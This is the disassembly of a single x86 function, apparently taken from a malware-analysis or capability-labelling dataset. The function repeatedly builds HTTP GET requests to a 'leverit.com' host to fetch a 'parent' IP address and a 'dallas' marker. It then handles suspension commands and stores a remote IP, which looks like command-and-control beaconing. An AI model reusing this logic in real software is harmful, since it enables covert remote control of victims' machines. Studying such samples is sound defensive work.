Function at 0x40df10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fcbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x111c
call fcn.004166e0
mov al, byte [0x42eb08]
push ebx
push esi
push edi
mov byte [ebp - 0x6a0], al
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x69f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xf
mov esi, str.GET__dallas_ipmain.txt_HTTP_1.1_r_nHost:_www.leverit.com_r_n_r_n_n
lea edi, [ebp - 0x174]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x23
lea edi, [ebp - 0x138]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], esp
xor edi, edi
push str.apaga_funcionando_espejo
push 2
mov dword [0x42eb20], edi
call fcn.0040c720
mov al, byte [0x42fe29]
add esp, 8
test al, 1
je 0x40dfc6
push str.espejo_privado
push 2
call fcn.0040c720
movsx eax, byte [0x42fe20]
mov ecx, dword [0x42fe21]
lea edx, [ebp - 0x174]
push ecx
push eax
push str.GET__dallas_ip_dT_d.txt_HTTP_1.1_r_nHost:_www.leverit.com_r_n_r_n
push edx
call fcn.00416129
add esp, 0x18
call fcn.00408300
test eax, eax
je 0x40dfd5
push edi
call fcn.0041722d
push str.entra_ip_padre
push 2
call fcn.0040c720
add esp, 8
xor esi, esi
mov ebx, 1
mov dword [0x42f1b0], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 6
jge 0x40e453
cmp esi, edi
jne 0x40e453
cmp dword [0x42f1b0], edi
je 0x40e029
push str.reinicio_f
push 2
mov dword [0x42f1b0], edi
mov dword [ebp - 0x18], ebx
call fcn.0040c720
add esp, 8
mov esi, dword [ebp - 0x18]
push esi
push str.busca_fire__d
push 2
call fcn.0040c720
add esp, 0xc
cmp esi, 6
ja case.default.0x40e045
jmp dword [esi*4 + 0x40e624]
push str.DATACON1
call fcn.0040caa0
add esp, 4
test eax, eax
jne 0x40e067
push str.no_carg1
jmp 0x40e435
mov esi, dword [0x430980]
cmp esi, edi
je 0x40e430
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x14], ebx
lea edx, [ebp - 0x48]
mov eax, 1
shl eax, cl
test esi, eax
je 0x40e090
mov dword [edx], eax
inc ebx
add edx, 4
inc ecx
cmp ecx, 3
jl 0x40e07f
mov dword [ebp - 0x14], ebx
cmp ebx, edi
jmp 0x40e1dd
mov edi, 0x430850
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x430848]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [0x43084c]
mov eax, ecx
mov esi, edi
mov edi, 0x430984
mov dword [0x43097c], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [0x430980], ebx
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4308b4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x4309e8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x430918
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x430a4c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
test edx, edx
rep movsb byte es:[edi], byte [esi]
jne 0x40e141
push str.es_proto_0.
push 2
call fcn.0040c720
add esp, 8
xor edi, edi
jmp 0x40e43f
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x14], esi
lea edx, [ebp - 0x48]
mov eax, 1
shl eax, cl
test ebx, eax
je 0x40e15c
mov dword [edx], eax
inc esi
add edx, 4
inc ecx
cmp ecx, 3
jl 0x40e14b
test esi, esi
mov dword [ebp - 0x14], esi
jne 0x40e22b
push str.listt0
push 2
call fcn.0040c720
add esp, 8
xor edi, edi
jmp 0x40e43f
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x14], ebx
jmp case.default.0x40e045
push str.DATACON2
call fcn.0040caa0
add esp, 4
test eax, eax
jne 0x40e1a9
push str.no_carg1
jmp 0x40e435
mov ebx, dword [0x430980]
cmp ebx, edi
je 0x40e430
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x14], esi
lea edx, [ebp - 0x48]
mov eax, 1
shl eax, cl
test ebx, eax
je 0x40e1d2
mov dword [edx], eax
inc esi
add edx, 4
inc ecx
cmp ecx, 3
jl 0x40e1c1
mov dword [ebp - 0x14], esi
cmp esi, edi
jne case.default.0x40e045
push str.tamlen0
jmp 0x40e435
push ebx
call fcn.0040d540
add esp, 4
test eax, eax
je 0x40e43f
mov eax, 2
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], eax
jmp case.default.0x40e045
push edi
jmp 0x40e20f
push 2
call fcn.0040d540
add esp, 4
test eax, eax
je 0x40e43f
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x14], ebx
jmp case.default.0x40e045
xor edi, edi
push str.entra_y
push 2
call fcn.0040c720
add esp, 8
xor ebx, ebx
mov dword [ebp - 0x20], ebx
cmp ebx, dword [ebp - 0x14]
jge 0x40e43f
cmp dword [ebp - 0x1c], edi
jne 0x40e43f
cmp dword [0x42f1b0], edi
je 0x40e272
push str.pide_reset
push 2
call fcn.0040c720
add esp, 8
mov dword [ebp - 0x18], edi
jmp 0x40e43f
mov ecx, dword [ebp + ebx*4 - 0x48]
push 0x430984
mov edx, ecx
mov dword [0x430980], ecx
push edx
push str.padre1_proto_d_ip_s
push 2
mov dword [ebp - 4], edi
call fcn.0040c720
lea eax, [ebp - 0x2a0]
push eax
call fcn.0040dd40
mov edi, str.:80__dallas
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x2a0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x2a0]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.0041fa79
lea ecx, [ebp - 0x2a0]
push ecx
push str.conectasra__s
push 2
call fcn.0040c720
mov eax, dword [0x42f09c]
add esp, 0x24
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x1128]
push edx
push eax
call fcn.004159d0
lea edi, [ebp - 0x174]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd08]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.crcon
mov eax, ecx
mov esi, edi
mov edi, edx
push 2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [ebp - 4], 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0xb14], 0
call fcn.0040c720
mov al, byte [ebp - 0x1120]
add esp, 8
test al, al
je 0x40e371
mov ecx, dword [ebp - 0x101c]
lea edx, [ebp - 0x111f]
push ecx
push edx
lea ecx, [ebp - 0x1128]
call fcn.00415a90
jmp 0x40e37c
lea ecx, [ebp - 0x1128]
call fcn.004159f0
push str.salx
push 2
call fcn.0040c720
mov ecx, 0x32
lea esi, [ebp - 0xb14]
lea edi, [ebp - 0x6a0]
add esp, 8
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1128]
mov byte [ebp - 0x5d8], 0
mov byte [ebp - 4], 0
call fcn.00415bd0
jmp 0x40e3ce
push str.comparara
push 2
mov dword [ebp - 4], 0xffffffff
call fcn.0040c720
lea eax, [ebp - 0x6a0]
push 0xa
push eax
push str.IP_DALLAS
call fcn.0041ae30
add esp, 0x14
test eax, eax
jne 0x40e416
call fcn.0040c8d0
push str.encontro_ip_dall
push 2
mov dword [ebp - 0x1c], 1
call fcn.0040c720
add esp, 8
push str.comparo01
push 2
call fcn.0040c720
add esp, 8
inc ebx
mov dword [ebp - 0x20], ebx
xor edi, edi
jmp 0x40e241
push str.portfw_en_0
push 2
call fcn.0040c720
add esp, 8
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
inc eax
mov ebx, 1
mov dword [ebp - 0x18], eax
jmp 0x40dff7
push str.termina_loop_x
push 2
call fcn.0040c720
add esp, 8
cmp esi, edi
je 0x40e60e
lea ecx, [ebp - 0x6a0]
push str.suspendedday
push ecx
call fcn.00417180
add esp, 8
test eax, eax
je 0x40e491
push ebx
call fcn.0040dcc0
add esp, 4
push edi
call fcn.0041722d
lea edx, [ebp - 0x6a0]
push str.suspendedweek
push edx
call fcn.00417180
add esp, 8
test eax, eax
je 0x40e4b9
push 4
call fcn.0040dcc0
add esp, 4
push edi
call fcn.0041722d
lea eax, [ebp - 0x6a0]
push str.suspenten
push eax
call fcn.00417180
add esp, 8
test eax, eax
je 0x40e4e1
push 0xa
call fcn.0040dd00
add esp, 4
push edi
call fcn.0041722d
lea ecx, [ebp - 0x6a0]
push 0x40
push ecx
call fcn.00415c90
mov esi, eax
add esp, 8
cmp esi, edi
je 0x40e523
mov byte [esi], 0
mov al, byte [esi + 1]
inc esi
test al, al
jle 0x40e50f
cmp al, 0x21
jge 0x40e50f
mov al, byte [esi + 1]
inc esi
test al, al
jg 0x40e503
push 0x40
push esi
call fcn.00415c90
add esp, 8
cmp eax, edi
je 0x40e525
mov byte [eax], 0
jmp 0x40e525
xor esi, esi
lea edx, [ebp - 0xac]
lea eax, [ebp - 0x696]
push edx
push eax
mov byte [ebp - 0xac], 0
call fcn.0040dac0
add esp, 8
test eax, eax
jne 0x40e55c
lea ecx, [ebp - 0xac]
mov dword [0x430980], edi
push ecx
push esi
call fcn.0040d950
add esp, 8
lea edx, [ebp - 0xac]
push edx
push str.ip_funciono_s
push 2
call fcn.0040c720
mov al, byte [ebp - 0xac]
add esp, 0xc
test al, al
je 0x40e60e
push str.prende_funcionando_espejo
push 2
call fcn.0040c720
lea eax, [ebp - 0xac]
push 0x42eab0
push eax
mov dword [0x42eb20], 1
call fcn.0041f970
add esp, 0x10
test eax, eax
je 0x40e60e
lea edi, [ebp - 0xac]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x42eab0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xac]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea eax, [ebp - 0xac]
push ecx
push eax
push str.IPREM
call fcn.00407e40
add esp, 0x10
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret